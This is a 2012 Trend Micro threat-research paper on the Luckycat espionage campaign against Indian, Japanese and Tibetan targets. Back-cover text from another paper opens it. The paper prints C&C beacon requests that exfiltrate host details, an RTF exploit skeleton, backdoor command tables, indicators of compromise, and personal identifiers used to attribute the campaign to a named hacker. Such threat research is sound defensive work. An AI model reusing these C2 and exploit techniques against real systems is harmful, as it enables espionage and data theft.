cloudbased security that fits our customers + and partners + needs, stops +new threats faster, and protects data in physical, virtualized and cloud +environments. Powered by the industry-leading Trend Micro + Smart Protection Network + cloud computing security infrastructure, our products +and services stop threats where they emerge +from the Internet. They are +supported by 1,000+ threat intelligence experts around the globe. +10101 N. De Anza Blvd. +Cupertino, CA 95014 +U.S. toll free: 1 +800.228.5651 +Phone: 1 +408.257.1500 +Fax: 1 +408.257.2003 +www.trendmicro.com +2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company +names may be trademarks or registered trademarks of their owners. +PAGE 19 | IXESHE +Trend Micro +Research Paper +2012 +LUCKYCAT REDUX +Inside an APT +Campaign with +Multiple Targets in +India and Japan +By: Forward-Looking Threat Research Team +CONTENTS +Introduction..................................................................................... 1 +Diversity of Targets................................................................. 1 +Diversity of Malware.............................................................. 2 +Diversity of Infrastructure.................................................... 2 +Operations............................................................................... 2 +Attribution............................................................................... 2 +Luckycat........................................................................................... 3 +Examples of Luckycat Attacks.............................................4 +Example 1: Japan.............................................................4 +Example 2: India..............................................................4 +Example 3: Tibet.............................................................. 5 +Vulnerabilities and Malware Samples....................................... 5 +Campaign Codes............................................................................ 7 +Command and Control..................................................................8 +Operations....................................................................................... 9 +Attribution.......................................................................................11 +Campaign Connections................................................................12 +ShadowNet..............................................................................12 +Duojeen....................................................................................13 +Sparksrv..................................................................................15 +Comfoo.....................................................................................16 +Conclusion......................................................................................19 +Defending Against APTs..............................................................19 +Local and External Threat Intelligence ...........................19 +Mitigation and Cleanup Strategy......................................20 +Educating Employees Against Social Engineering.......20 +Data-Centric Protection Strategy.....................................20 +Trend Micro Threat Protection Against Luckycat +Campaign Components...............................................................21 +INTRODUCTION +The number of targeted attacks has dramatically +increased. Unlike largely indiscriminate attacks that focus +on stealing credit card and banking information associated +with cybercrime, targeted attacks noticeably differ and +are better characterized as +cyber espionage. + Highly +targeted attacks are computer intrusions threat actors +stage in order to aggressively pursue and compromise +specific targets, often leveraging social engineering, in +order to maintain persistent presence within the victim +network so they can move laterally and extract sensitive +information.1 +In a typical targeted attack, a target receives a +contextually relevant email that encourages a potential +victim to click a link or open a file.2 The links and files +the attackers send contain malicious code that exploits +vulnerabilities in popular software. The exploits + payload +is a malware that is silently executed on the target +computer. This exploitation allows the attackers to +take control of and obtain data from the compromised +computer. In other cases, the attackers send disguised +executable files, usually compressed in archives that, +if opened, also compromise the target +s computer. The +malware connects back to command-and-control (C&C) +servers under the attackers + control from which they +can command the compromised computer to download +additional malware and tools that allow them to move +laterally throughout the target +s network. These attacks +are, however, not isolated +smash-and-grab + incidents but +are part of consistent campaigns that aim to establish +covert presence in a target +s network so that information +can be extracted as needed. +Targeted attacks are rarely isolated events. In fact, +they are constant. It is more useful to think of them as +campaigns +a series of failed and successful attempts +to compromise a target +s network over a certain period +of time. The attackers, in fact, often keep track of the +different attacks within a campaign in order to determine +which individual attack compromised a specific victim +network. As the attackers learn more about their targets +from open source research +relying on publicly available +information, as well as previous attacks, the specificity of +the attacks may sharply increase. +http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp_trends-in-targeted-attacks.pdf +2 Targeted attacks can sometimes be conducted through instant +messages instead of emails. +Cyber-espionage campaigns often focus on specific +industries or communities of interest in addition to a +geographic focus. Different positions of visibility often +yield additional sets of targets pursued by the same threat +actors. We have been tracking the campaign dubbed +Luckycat + and found that in addition to targeting Indian +military research institutions, as previously revealed by +Symantec, the same campaign targeted entities in Japan +as well as the Tibetan community.3 +The Luckycat campaign targeted the following industries +and/or communities: + Aerospace + Shipping + Energy + Military research + Engineering + Tibetan activists +The Luckycat campaign attacked a diverse set of targets +using a variety of malware, some of which have been +linked to other cyber-espionage campaigns. The attackers +behind this campaign maintain a diverse set of C&C +infrastructure and leverages anonymity tools to obfuscate +their operations. We were able to track elements of this +campaign to hackers based in China. +Diversity of Targets +The Luckycat campaign, which has been active since at +least June 2011, has been linked to 90 attacks against +targets in Japan and India as well as Tibetan activists. +Each malware attack involves a unique campaign code that +can be used to track which victims were compromised by +which malware attack. This illustrates that the attackers +are both very aggressive and continually target their +intended victims. These are not smash-and-grab attacks +but constitute a +campaign + comprising a series of +ongoing attacks over time. In sum, the Luckycat campaign +managed to compromise 233 computers.4 +3 http://www.symantec.com/content/en/us/enterprise/media/security_ +response/whitepapers/the_luckycat_hackers.pdf +4 This number represents the unique MAC addresses of the victims that +were stored by the attackers on their C&C infrastructure. +PAGE 1 | LUCKYCAT REDUX +Diversity of Malware +Operations +We were able to identify five malware families either +utilized by or hosted on the same dedicated server the +Luckycat campaign uses. Some were used as secondstage malware that the attackers pushed to victims whose +networks were compromised by first-stage malware. +Second-stage malware typically provide additional +functionality and are especially used if the first-stage +malware prove very simplistic. In addition, we found that +the attackers used multiple malware families that coincide +with malware that have been used in other campaigns. +This indicates a level of collaboration across campaigns. +TROJ_WIMMIE, favored by the Luckycat attackers, bundles +a significant amount of information on the victim and +uploads it to a C&C server. One such file recovered from +a C&C server is actually the result of a test run by the +attackers. The information reveals that the attackers use +proxy and anonymity tools to shield their identities as +well as a variety of mailing programs to instigate targeted +attacks. In addition, the language settings of the attackers +computers indicate that they are Chinese speakers. This is +consistent with the information Symantec obtained, which +shows that the attackers logged in to their C&C server +from IP addresses allocated to China. +Diversity of Infrastructure +The Luckycat campaign use free web-hosting services +that provide a diversity of domain names as well as IP +addresses. This distributes the campaign, making it more +difficult to track. However, the attackers also made use +of Virtual Private Servers (VPSs) that not only housed +their primary malware +TROJ_WIMMIE, but others as well.5 +These servers may also act as anchors, as servers on free +hosting services are shut down for malicious activity. As a +result, the campaign stabilized its infrastructure over time, +transferring victims, often through the use of secondstage malware, from free hosting servers to their stable +core of VPSs. +5 VPSs are dedicated hosting services that can be purchased online. +PAGE 2 | LUCKYCAT REDUX +Attribution +Using open source research, we were able to connect +the email address used to register one of the Luckycat +C&C servers to a hacker in the Chinese underground +community. He uses the nickname, +dang0102, + and has +published posts in the famous hacker forum, XFocus, +as well as recruited others to join a research project on +network attack and defense at the Information Security +Institute of the Sichuan University. The hacker, also known +scuhkr, + has authored articles related to backdoors and +shellcode in a hacking magazine. +LUCKYCAT +The malware used in the Luckycat campaign, detected by +Trend Micro as TROJ_WIMMIE6 or VBS_WIMMIE,7 connects +to a C&C server via HTTP over port 80. It is notable +because it uses Windows Management Instrumentation +(WMI)8 to establish persistence.9 VBS_WIMMIE registers a +script that works as a backdoor to the WMI event handler +and deletes files associated with it or TROJ_WIMMIE. As +a result, the backdoor cannot be detected by antivirus +software through simple file scanning. +The compromised computer posts data to a PHP script +that runs on the C&C server, usually count.php. +POST/count/count.php?m=c&n=[HOSTNAME]_ +[MAC_ADDRESS]_[CAMPAIGN_CODE]@HTTP/1.0 +Accept: */* +UA-CPU: x86 +User-Agent: Mozilla/4.0 (compatible; MSIE +7.0; Windows NT 5.1; .NET CLR 2.0.50727; +.NET CLR 3.0.4506.2152; .NET CLR +3.5.30729) +Host: [HOSTNAME] +Content-Length: 0 +Connection: Keep-Alive +Pragma: no-cache +The initial communication results in the creation of a +file on the C&C server that contains information on the +compromised computer. Although the file is empty, the +file name contains the hostname of the compromised +computer, followed by its MAC address, along with the +campaign code the attackers use to identify which +malware attack caused the compromise: +The attacker then creates a file with a name that ends in +@.c, which contains a command. +[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_ +CODE]@.c +The compromised computer then downloads the file and +executes the specified command, which may include any +of the following: + Get external IP address + Download file + Execute shell command + Upload file +The compromised computer then sends the output to the +C&C server and deletes the command file: +POST/count/count.php?m=w&n=[HOST_NAME]_ +[MAC_ADDRESS]_[CAMPAIGN_CODE]@@.t HTTP/1.0 +POST/count/count.php?m=d&n=[HOST_NAME]_ +[MAC_ADDRESS]_[CAMPAIGN_CODE]@@.c HTTP/1.0 +One of the common initial commands instructs the +compromised computer to upload the results of +information-gathering commands. This command causes +the compromised computer to create a directory listing +of the available drives, along with the output of the +commands, +ipconfig, +tasklist, + and +systeminfo. + The +resulting files are compressed using the CAB compression +format and uploaded to the C&C server. This provides the +attackers a full set of information to evaluate the nature of +the compromised computer. +~[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE] +6 http://about-threats.trendmicro.com/Malware. +aspx?language=us&name=TROJ_WIMMIE.C +7 http://about-threats.trendmicro.com/malware. +aspx?language=us&name=VBS_WIMMIE.C +8 The Luckycat malware may be notable but its technique is no longer +new, as the WMI malware featured in the paper cited below also +exhibited the same capability. +9 http://www.trendmicro.com/cloud-content/us/pdfs/securityintelligence/white-papers/wp__understanding-wmi-malware.pdf +PAGE 3 | LUCKYCAT REDUX +Examples of Luckycat Attacks +Example 1: Japan +Example 2: India +Figure 1: Decoy document opened after exploiting an Adobe +Reader vulnerability +A targeted email was sent to some organizations in Japan. +One of the attacks occurred during the confusion after +the Great East Japan Earthquake and the Fukushima +Nuclear Power Plant accident. The attackers used the +disaster to lure potential victims into opening a malicious +.PDF attachment. The .PDF file exploited a vulnerability +in Adobe Reader +CVE-2010-2883, in order to drop +TROJ_WIMMIE onto the target +s system.10 This malware +communicated with a Luckycat C&C server. The decoy +document contains the radiation dose measurement +results, which were published on the Tokyo Power Electric +Company (TEPCO) website.11 +10 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2883 +11 http://www.tepco.co.jp/nu/monitoring/11032805.pdf +PAGE 4 | LUCKYCAT REDUX +Figure 2: Redacted decoy document opened after exploiting a +Microsoft Word vulnerability +A malicious document containing information on India +ballistic missile defense program was used to lure potential +victims into opening it. This document contains malicious +code that exploits a vulnerability in Microsoft Office +CVE2010-3333, to drop TROJ_WIMMIE onto a compromised +system so this would connect to a C&C server the Luckycat +hackers operate.12 +12 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3333 +Example 3: Tibet +VULNERABILITIES AND MALWARE +SAMPLES +Most of the samples we have seen exploited CVE-20103333. Dubbed the +Rich Text Format (RTF) Stack Buffer +Overflow Vulnerability, + this causes a buffer overflow in +the Microsoft Word RTF parser when the +pFragments +shape property is given a malformed value. +To verify the exploitation, one should look out for the +following keywords: + pFragments: Seen after the string, + \sv: Exploit code is seen after this +The typical structure of the malicious RTF document is: +Figure 3: Decoy document opened after exploiting a Microsoft +Office vulnerability +Malicious emails and .DOC attachments that leverage +Tibetan themes in order to trick recipients into opening +them have been found. This particular sample exploits the +same vulnerability in Microsoft Office +CVE-2010-3333, to +drop TROJ_WIMMIE onto the target +s system so it would +communicate back to a C&C server the Luckycat hackers +operate. +{\rtf1{\shp{\sp{\sn pFragments}{\sv +exploit code +}}}} +The rest of the samples we found exploited the following +vulnerabilities in Adobe Reader and Flash Player: + CVE-2010-2883: Adobe Reader TTF SING table +parsing vulnerability + CVE-2010-3654: Adobe Flash Player AVM2 multi-name +button class vulnerability13 + CVE-2011-0611: Adobe Flash Player AVM1 shared object +type vulnerability14 + CVE-2011-2462: Adobe Reader U3D component +vulnerability15 +13 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3654 +14 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611 +15 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2462 +PAGE 5 | LUCKYCAT REDUX +CVE Identifier +Campaign Code +dab3f591b37f5147ae92570323b5c47d +CVE-2010-3333 +w1229 +c023544af85edacc66cd577a0d665dec +CVE-2010-3333 +w1229 +cff0964ed2df5659b0a563f32b7c3eca +CVE-2010-3333 +3deb2a5fcb6bf1f80a074fd351e6f620 +CVE-2010-3333 +2012 +1aa1e795a5ba75f2a5862c6d01205b57 +CVE-2010-2883 +CVE-2010-3654 +CVE-2011-0611 +110824p +6a62d4532c7a0656381fee8fb51874d7 +CVE-2010-2883 +CVE-2010-3654 +CVE-2011-0611 +longjiao +cb9ab22f3356a3b054a7e9282a69f71e +CVE-2011-2462 +1dafdc9e507771d0d8887348ce3f1c52 +CVE-2010-3333 +039a6e012f33495a1308b815ef098459 +CVE-2010-3333 +luck +be0b2e7a53b1dcacb8c54c180dc4ca27 +CVE-2010-2883 +CVE-2010-3654 +CVE-2011-0611 +11727p +00f07b0e701dcfa49e1c907f9242d028 +CVE-2010-2883 +CVE-2010-3654 +CVE-2011-0611 +110705hktq +411ab5eb2ef3153b61a49964f9ab4e64 +CVE-2011-2462 +1229 +dcac508495d9800e476aa0c8e11b748d +CVE-2010-3333 +2012 +00e686e382806c33d9ae77256f33ed93 +Not applicable +Table 1: Luckycat malware samples sorted by exploit and campaign code +PAGE 6 | LUCKYCAT REDUX +CAMPAIGN CODES +Each malware attack involves a unique campaign code that +can be used to track which systems were compromised by +which attack. The campaign codes often contain dates that +indicate when each malware attack was launched. This +demonstrates how actively and frequently the attackers +launched attacks. The campaign codes also reveal the +attackers + intent, as some of these referenced the intended +targets. The following lists the campaign codes we +discovered: + 110714jdap + 64sc109pfye + 110714tp + 64sc239pf9010 + 110715x + 720halheli + 110718p + 729ggggsenior + 110816h + 919ggggstp + 0607e + 1090silver89 + 110824p + 0609af + 110228cl + 1108navyeast + dang279wrdye + 0613deliinfo + 110311cl + 1108vpsecretary + god + 0613f + 110315cl + 111031pp + gop + 0614senior + 110315 + 1110mea + ishan99dfp + 0616itiT8 + 110321cl + 1114round + j1141ap99 + 0706gggg + 110329 + 1122bol + j4611dq9 + 0804ggggdatanet1 + 110504 + 1122gmail + kondulgml27pfye + 0805ggggetp + 110603p89 + 1122other + longjiao + 0805ggggstp + 110606rg789 + 11421is9 + luck + 0805ecil + 110616np + 1145j9yb + 0805gggg + 110705hktq + 1147s9 + nec3rd79dfp + 0818ICG + 110706gggg + 1148dq8 + nfounrsvan99uc + 0823ggggARDE + 110706hal + 11614lmpn + nne + 0824ggg + 110705hktq + 11725imp + ongs239pfye + 0826ggggtnd + 110708hktqw + 11727p + sai + 1017navydiwali + 110711gggg + 1229 + stmlsp211wd + 1017ggg + 110711hal + 2012 + w1229 + 1025gggCSC + 110711xzg + 214 + wwwroot + 1025gggSC + 110713jp + zz1227 +ggggstpdomainserver +PAGE 7 | LUCKYCAT REDUX +COMMAND AND CONTROL +The Luckycat campaign extensively use free hosting +services. We recorded the domains the attackers used as +well as the email addresses they utilized to register the +domains, if available. While the domains, including their +suffixes, were considerably diverse, all were available +from three different free hosting services. As such, the +attackers had nothing to lose but time in order to continue +creating diverse domain names for C&C servers. +Domain +Email Address +cattree.1x.biz +lindagreen56@rediffmail.com +charlesbrain.shop.co +yamagami_2011@mail.goo. +ne.jp +footballworldcup.website.org +ajayalpna@hotmail.com +frankwhales.shop.co +yamagami_2011@mail.goo. +ne.jp +hi21222325.x.gg +hi2122325@hotmail.com +kinkeechow.shop.co +kinkee_chow@mail.goo.ne.jp +kittyshop.kilu.org +pbdelhioffice@gmail.com +perfect.shop.co +dsang72@yahoo.com +pumasports.website.org +ranjitrai123@hotmail.com +tomsburs.shop.co +yamagami_2011@mail.goo. +ne.jp +vpoasport.shopping2000.com +beenznair@gmail.com +goodwell.all.co.uk +paltry.parrot@googlemail.com +fireequipment.website.org +shrivastava.agrim@gmail.com +tennissport.website.org +manindramohanshukla@ +yahoo.com +waterpool.website.org +jaganacharya@hotmail.com +tb123.xoomsite.com +tbda123.gwchost.com +toms.0fees.net +tomygreen.0fees.net +killmannets.0fees.net +maritimemaster.kilu.org +masterchoice.shop.co +jeepvihecle.shop.co +lucysmith.0fees.net +Table 2: Free web-hosting service domains the attackers used for +C&C servers +PAGE 8 | LUCKYCAT REDUX +The attackers also maintain servers that do not appear to +be from free web-hosting service providers. In fact, these +appear to use dedicated VPS services. +Domain +Email Address +clbest.greenglassint.net +19013788@qq.com +bailianlan.c.dwyu.com +dayinok@qq.com +duojee.info +duojeewei@qq.com +Table 3: C&C servers that the attackers hosted on VPSs +We also found advertisements for VPS services using two +of the C&C server IP addresses in Table 3. While the VPS +services were advertised in Chinese forums, the servers +were actually hosted in the United States. +Figure 4: Sample ads for the VPS services the attackers use +The diversity of C&C hosting services used provided +the attackers a resilient infrastructure. If one server, for +instance, was shut down for malicious activity, they can +easily create more servers. As victims of interest are +identified, they can also be easily moved from free hosting +servers to C&C servers set up on more stable VPSs. The +domain and geographic diversity of the IP addresses also +helped mask the attackers + locations. +OPERATIONS +The threat actors behind the Luckycat campaign tested +one of their malware samples on a computer under +their control. In the process, they uploaded down.cab, +which contains a command that creates a directory +listing of the available drives on a compromised system, +along with the output of the commands, +ipconfig, +tasklist, + and +systeminfo. + We were able to download +this file from the C&C server. While it does not reveal the +attackers + identities, it does provide an inside view of their +operations. +The result of the +systeminfo + command indicates that the +attackers tested the malware in a virtual environment. The +environment was set up using a Chinese-language version +of Windows XP. +Figure 6: Sample ads for the pirated Windows XP version used +While the rest of the information we gathered did not +reveal significant clues due to the use of a VM, we found +that the attackers left a shared drive +D:\, which was +indexed by the malware. The index was then uploaded to +the C&C server. +Figure 5: Sample system information the attackers obtained after +testing on a virtual machine (VM) +We found that the product ID of the Windows XP software +used was posted online in the past. It was a pirated +Windows XP version that was made available for purchase +in China. +Figure 7: Drive left available by the attackers that contains C&C +scripts and victim information +PAGE 9 | LUCKYCAT REDUX +In one of the directories +ccclllmmmm, we found that +the attackers put a copy of the count.php C&C backend +as well as a list of the victims and the contents of their +computers. We were also able to find that the C&C server +the attackers used was a victim +s computer. +Figure 9: Anonymity tools the attackers had on the shared D:\ +drive +The attackers also had mailing software such as FoxMail +and Supermailer on the shared D:\ drive. While these tools +are not malicious, the attackers used these to easily send +out socially engineered emails. These also allowed them to +keep track of their various identities and email accounts. +One of the samples we obtained used the Chineselanguage version of FoxMail. +Figure 8: Victim information on the attackers + C&C server that is +identical to the the information on the attackers + shared D:\ drive +To ensure operational security, the attackers installed Tor +and Tunnelier. Some of the email samples with malware +attachments, in fact, sent through Yahoo! Mail used Tor. +The use of this anonymity tool allowed the attackers to +obscure their IP addresses, making it increasingly difficult +for researchers to pinpoint their locations. +PAGE 10 | LUCKYCAT REDUX +The attackers clearly have operational procedures in place +to obscure their true locations with the aid of anonymity +tools. They also have a virtualized environment set up to +test and fine-tune their malware as well as the necessary +tools to maintain their various identities and send out +socially engineered emails with malicious attachments. +ATTRIBUTION +Additional clues concerning the attackers had to with +the email address, 19013788@qq.com, which was used +to register one of the C&C servers, clbest.greenglassint. +net. This email address can be mapped to the QQ number, +19013788. QQ is popular instant-messaging (IM) software in +China. This QQ number is linked to a hacker in the Chinese +underground community who goes by the nickname, +dang0102, + and has published posts in the famous hacker +forum, XFocus, in 2005. +Figure 10: Sample post by dang0102 using the QQ number, +19013788 +The same hacker also published a post on a student BBS +of the Sichuan University using the nickname, +scuhkr, +in 2005. He wanted to recruit 2 +4 students to a network +attack and defense research project at the Information +Security Institute of the Sichuan University then. Scuhkr +also authored articles related to backdoors and shellcode +in a hacking magazine that same year.16 +16 http://www.cqvip.com/Main/Search.aspx?w=Scuhkr +Figure 11: Post by schuhkr using the QQ number, 19013788 +The post in Figure 11 contains two email addresses +ggggggsccd@sina.com and scuhkr@21cn.com, along +with an additional QQ number, 2888111. The email address, +scuhkr@21cn.com, is also associated with an account on +rootkit.com.17 Investigating the second QQ number allowed +us to determine that scuhkr also used the nickname, +lolibaso. + The other individual mentioned in the post also +worked and studied at the Information Security Institute of +the Sichuan University and has published several articles +related to +fuzzing + vulnerabilities in 2006. +17 http://dazzlepod.com/rootkit/?page=83 +PAGE 11 | LUCKYCAT REDUX +CAMPAIGN CONNECTIONS +We were able to identify five malware families that were +either used by or hosted on the same dedicated server +with the domain name, duojee.info. Some of these were +used as second-stage malware that the attackers pushed +to victims whose systems have been compromised by firststage malware. Second-stage malware typically provided +additional functionality and were especially used if the +first-stage malware is very simplistic. We also found that +the attackers used several malware families that have +been utilized in previous campaigns. This may indicate a +level of collaboration across campaigns. +One of the sample email +s attachments was part of +the Luckycat campaign while the other was part of the +ShadowNet campaign. The ShadowNet campaign has +a history of targeting Tibetan activists as well as the +Indian government, which fits the profile of the Luckycat +campaigns as well. +ShadowNet +The first interesting connection we noticed in conjunction +with the Luckycat campaign had to do with ShadowNet, +a cyber-espionage network documented by researchers +at the University of Toronto and the ShadowServer +Foundation.18 We found a socially engineered email that +had two malicious file attachments. +Figure 13: Relationship between the Luckycat and the ShadowNet +campaigns +The ShadowNet malware, detected by Trend Micro as +TROJ_GUPD.AB, first connects to a blog in order to receive +the URL of the C&C server. The URL was encoded using +a modulus operation. The malware on the compromised +computer decodes the URL then issues a connection to +the C&C server. The compromised computer posts data to +a PHP script running on the server, usually named index. +php or all.php, and contains information about it as well as +a campaign code. +The information is stored in a .TXT file on the C&C server. +The compromised computer continues to beacon to the +C&C server to see if the operators have designed any +commands. If they have, the compromised computer then +executes the given commands and reports the results back +to the C&C server. +Figure 12: Sample targeted email with both Luckycat and +ShadowNet malware attachments +18 http://www.nartv.org/mirror/shadows-in-the-cloud.pdf +PAGE 12 | LUCKYCAT REDUX +Figure 15: Example of a blog used by ShadowNet to communicate +an encoded C&C server location +Figure 14: Sample ShadowNet malware related to a Luckycat +email attack +This attack used the theme of self-immolation in Tibet for +both the email and the decoy document that is opened +after the vulnerability exploitation. The malicious file +attachment exploits a vulnerability in Microsoft Office +CVE-2010-3333, to drop malware onto the target +s system. +The malware was configured to connect to two blogs and a +Yahoo! Group in order to find the C&C server +s location. +The blogs and groups the ShadowNet attackers use can +be easily updated whenever the C&C servers are changed. +The URL of the blog is embedded in the malware. The +malware connects to the blog and decodes the C&C URL +then connects to the C&C server. The commands the +server issues are also encoded using a simple logical +operator. The malware also decodes these using keycodes +that are sent along with the actual commands. +CVE Identifier +Campaign Code +26891c3e4a2de034e4841db2a579734f +CVE-2011-2462 +circle +ebea24fe1611a1ab778f5ecceb781fad +CVE-2010-3333 +circle +Table 4: ShadowNet malware samples related to the Luckycat campaign +Duojeen +The malware attacks related to the Duojeen campaign all target the Tibetan community and use a single C&C server +duojee.info. We also found that a malware binary available for download from duojee.info is a TROJ_WIMMIE Trojan that +connects back to bailianlan.c.dwyu.com +a C&C server the Luckycat attackers use. +PAGE 13 | LUCKYCAT REDUX +Figure 16: Relationship between the Duojeen and the Luckycat campaigns +The duojee.info server is the C&C component of the +Duojeen campaign. The related malware, detected by +Trend Micro as BKDR_DUOJEEN.A, connects to a C&C +server and posts data to a PHP script typically named, +linux.php, solaris.php, or freebsd.php. The following +information is encoded using logical operators such as xor, +or, or bitwise shifting on adjacent bytes in the malware: +The Duojeen malware continues to poll the C&C server +then executes one of the only possible commands +specified by the attackers: + Stop the malware from communicating with the C&C +server + Download and execute a second-stage malware + Hostname + Computer name + MAC address + IP address, subnet mask, and gateway + Network resources + Running processes + Microsoft Outlook user account information (e.g., HTTP +mail user name, POP3 user name, or POP3 server) + Recently opened files +PAGE 14 | LUCKYCAT REDUX +Figure 17: Sample Duojeen attack email +One of the Duojeen attacks leverages a Tibetan-themed job ad to encourage potential victims to open an attached +document that exploits a vulnerability in Microsoft Office +CVE-2010-3333, in order to drop a malware that connects to +duojee.info. +CVE Identifier +Campaign Code +715cbbe21844bbb4f1f60a91ae28def3 +CVE-2010-3333 +aaaa +a9bda3c31fc6acc83a5226226f7ab554 +CVE-2010-3333 +aaaa +567a774cf865b50189e81c14b4ca4b63 +CVE-2010-3333 +aaaa +e62c115b6874726c309b3038a9391e28 +CVE-2010-3333 +aaaa +9860d087892fce98e6f639e3e9dba91e +Not applicable +d773e3bacc2c8389c2ab51c9cbc68480 +Not applicable +Table 5: Duojeen malware samples +Duojee.info also contains the PHP scripts used for +commanding and controlling the Luckycat campaign at +/holly/count.php as well as ShadowNet at /soom/cont.php. +The duojee.info server also has a phishing page designed +to steal passwords from mail.tibet.net users. +Figure 18: Phishing page hosted on duojee.info +The duojee.info server also has other malware from +two additional families available for download. One +malware is known as +Comfoo, + related to yet another +cyber-espionage campaign, while the other is known as +Sparksrv. +Sparksrv +Sparksrv refers to a second-stage malware that provides +backdoor access with significantly more functionality +than first-stage droppers. Second-stage malware, often +Remote Administration Trojans (RATs), are deployed +because first-stage malware only provide simple +check-in +functionality such as a short list of commands that can be +scheduled. Second-stage RATs, on the other hand, provide +an additional access channel as well as +real-time + control +over a compromised machine if the attackers and the +victims are online at the same time. +Figure 19: Relationship between the Sparksrv and the Luckycat +campaigns +The Sparksrv malware, detected by Trend Micro as BKDR_ +RPKNUF.A, was initially found on a ShadowNet server in +November 2011. We have, however, found several instances +of a newer version of the same malware on duojee. +info. The malware initially sends the following plain-text +information through port 443: + IP address + Identifier + MAC address +PAGE 15 | LUCKYCAT REDUX +Once the malware establishes a connection, it then starts to receive commands from the C&C server, which allow the +attackers to do the following: + Start or kill a process + Copy or search for a file + Download or upload +files + Create or delete +directories + Load a DLL + Invoke a command shell +Domain +IP Address +0a927897ab5acff1e6bd45897368253b +fidk.rkntils.dnset.com +69.162.71.254 +b53f71e4dd2ca8826e6191dee439564b +fidk.rkntils.dnset.com +69.162.71.254 +a2b37776e0bd6594c688a8214371b9ff +rukiyeangel.dyndns.pro +199.192.152.100 +Table 6: Sparksrv malware samples and C&C locations +We also found an older version of the malware on a +ShadowNet server, sunshine.shop.co. +d0eec59f1e74c0851c8dd1c8be88f2b9 +IP Address +173.208.242.25 +Table 7: Older Sparksrv malware version found on a ShadowNet +server +Comfoo +Comfoo malware have been seen in conjunction with +campaigns targeting sensitive entities in both Japan and +India. We found a version of the Comfoo malware on the +duojee.info server as well as an email attack that used the +same version of Comfoo malware. In fact, the .DOC file +used in the attack dropped an .EXE file with the same MD5 +hash as the one found on the duojee.info server. +Figure 20: Relationship between the Comfoo and the Luckycat +campaigns +PAGE 16 | LUCKYCAT REDUX +While at least two of the Comfoo variants are essentially +the same, the traffic encryption methods used in the +Comfoo sample found in connection with duojee.info +differed from other Comfoo variants we +ve analyzed that +are not directly related to the Luckycat campaign. The +more common Comfoo malware samples we analyzed used +custom encryption methods while the variant found on +the duojee.info server utilized the Windows Cryptographic +Application Programming Interface (API). This Comfoo +variant +s initial network communication sent the following +information to the C&C server: + Randomly generated characters +Figure 21: Sample Comfoo campaign email + MAC address + IP address + OS version + String, +liberate, + as campaign code +This Comfoo email attack leverages the current situation +in Tibet to encourage recipients to open a malicious +attachment that exploits a vulnerability in Microsoft +Office +CVE-2010-3333, in order to drop a malware onto the +target +s system. +The attackers gather the following information from +infected systems: + CPU, NETBIOS, and disk information + System, OS version, and account information + Network adapters, protocols, and configuration +information + Installed applications as well as Internet Explorer (IE) +and Browser Helper Object (BHO) information +The malware the attackers use is capable of receiving +several commands. +Command +Description +0x233C +Invoke command shell +0x1B6C +Take screenshot +0x139C +Start interactive desktop +0x1F54 +Start keylogging +0xFDC +Stop service +0xFF0 +Delete service +0xBCC +Enumerate running processes +0xBE0 +Terminate process +0x2EF4 +Download file +Figure 22: Comfoo decoy document that exploits a Microsoft +Office vulnerability +After the decoy document opens, the Comfoo malware +begins to communicate with johnnees.rkntils.10dig.net, +which resolves to the IP address, 69.162.71.254 +the same +host that some Sparksrv malware samples we analyzed +use. +Table 8: Commands the Comfoo malware receive +PAGE 17 | LUCKYCAT REDUX +CVE Identifier +Campaign Code +24552d599b650ca3ecd467d9d740de33 +CVE-2010-3333 +liberate +6815ab1f11ac33d4c1149efc3206d794 +Not applicable +liberate +6bd4e7d7408e0d8d1592e27fc19650c8 +Not applicable +liberate +Table 9: Comfoo malware samples +The samples in Table 9 connect to havefuns.rkntils.10dig.net or johnnees.rkntils.10dig.net, which both resolve to the same +IP address +69.162.71.254. +PAGE 18 | LUCKYCAT REDUX +CONCLUSION +DEFENDING AGAINST APTS +Targeted attacks have been extremely successful, +making the scope of the problem truly global. These +have been affecting governments, militaries, defense +industries, high-technology companies, intergovernmental +organizations, nongovernmental organizations (NGOs), +media organizations, academic institutions, and activists +worldwide. +Sufficiently motivated threat actors can penetrate +even networks that use moderately advanced security +measures. As such, apart from standard and relevant +attack prevention measures and mechanisms such as +solid patch management; endpoint and network security; +firewall use; and the like, enterprises should also focus +on detecting and mitigating attacks. Moreover, data loss +prevention (DLP) strategies such as identifying exactly +what an organization is protecting and taking into account +the context of data use should be employed. +Targeted attacks are not isolated smash-and-grab +incidents. They are part of consistent campaigns that +aim to establish persistent, covert presence in a target +network so that information can be extracted as needed. +Targeted attacks may not be easy to understand but +careful monitoring allows researchers to leverage the +mistakes attackers make to get a glimpse inside their +operations. Moreover, we can track cyber-espionage +campaigns over time using a combination of technical and +contextual indicators. +This paper specifically discussed the Luckycat campaign. +In the course of our research, we discovered that it had a +much more diverse target set than previously thought. Not +only did the attackers target military research institutions +in India, as earlier disclosed by Symantec, they also +targeted sensitive entities in Japan and India as well as +Tibetan activists. They used a diversity of infrastructure +as well, ranging from throw-away free-hosting sites to +dedicated VPSs. +We also found that the Luckycat campaign can be linked +to other campaigns as well. The people behind it used or +provided infrastructure for other campaigns that have also +been linked to past targeted attacks such as the previously +documented ShadowNet campaign.19 +Understanding the attack tools, techniques, and +infrastructure used in the Luckycat campaign as well as +how an individual incident is related to a broader campaign +provides the context necessary for us to assess its impact +and come up with defensive strategies in order to protect +our customers. +Local and External Threat Intelligence +Threat intelligence refers to indicators that can be used +to identify the tools, tactics, and procedures threat actors +engaging in targeted attacks utilize. Both external and +local threat intelligence is crucial for developing the +ability to detect attacks early. The following are the core +components of this defense strategy: + Enhanced visibility: Logs from endpoint, server, +and network monitoring are an important and often +underused resource that can be aggregated to provide +a view of the activities within an organization that +can be processed for anomalous behaviors that can +indicate a targeted attack. + Integrity checks: In order to maintain persistence, +malware will make modifications to the file system and +registry. Monitoring such changes can indicate the +presence of malware. + Empowering the human analyst: Humans are best +positioned to identify anomalous behaviors when +presented with a view of aggregated logs from 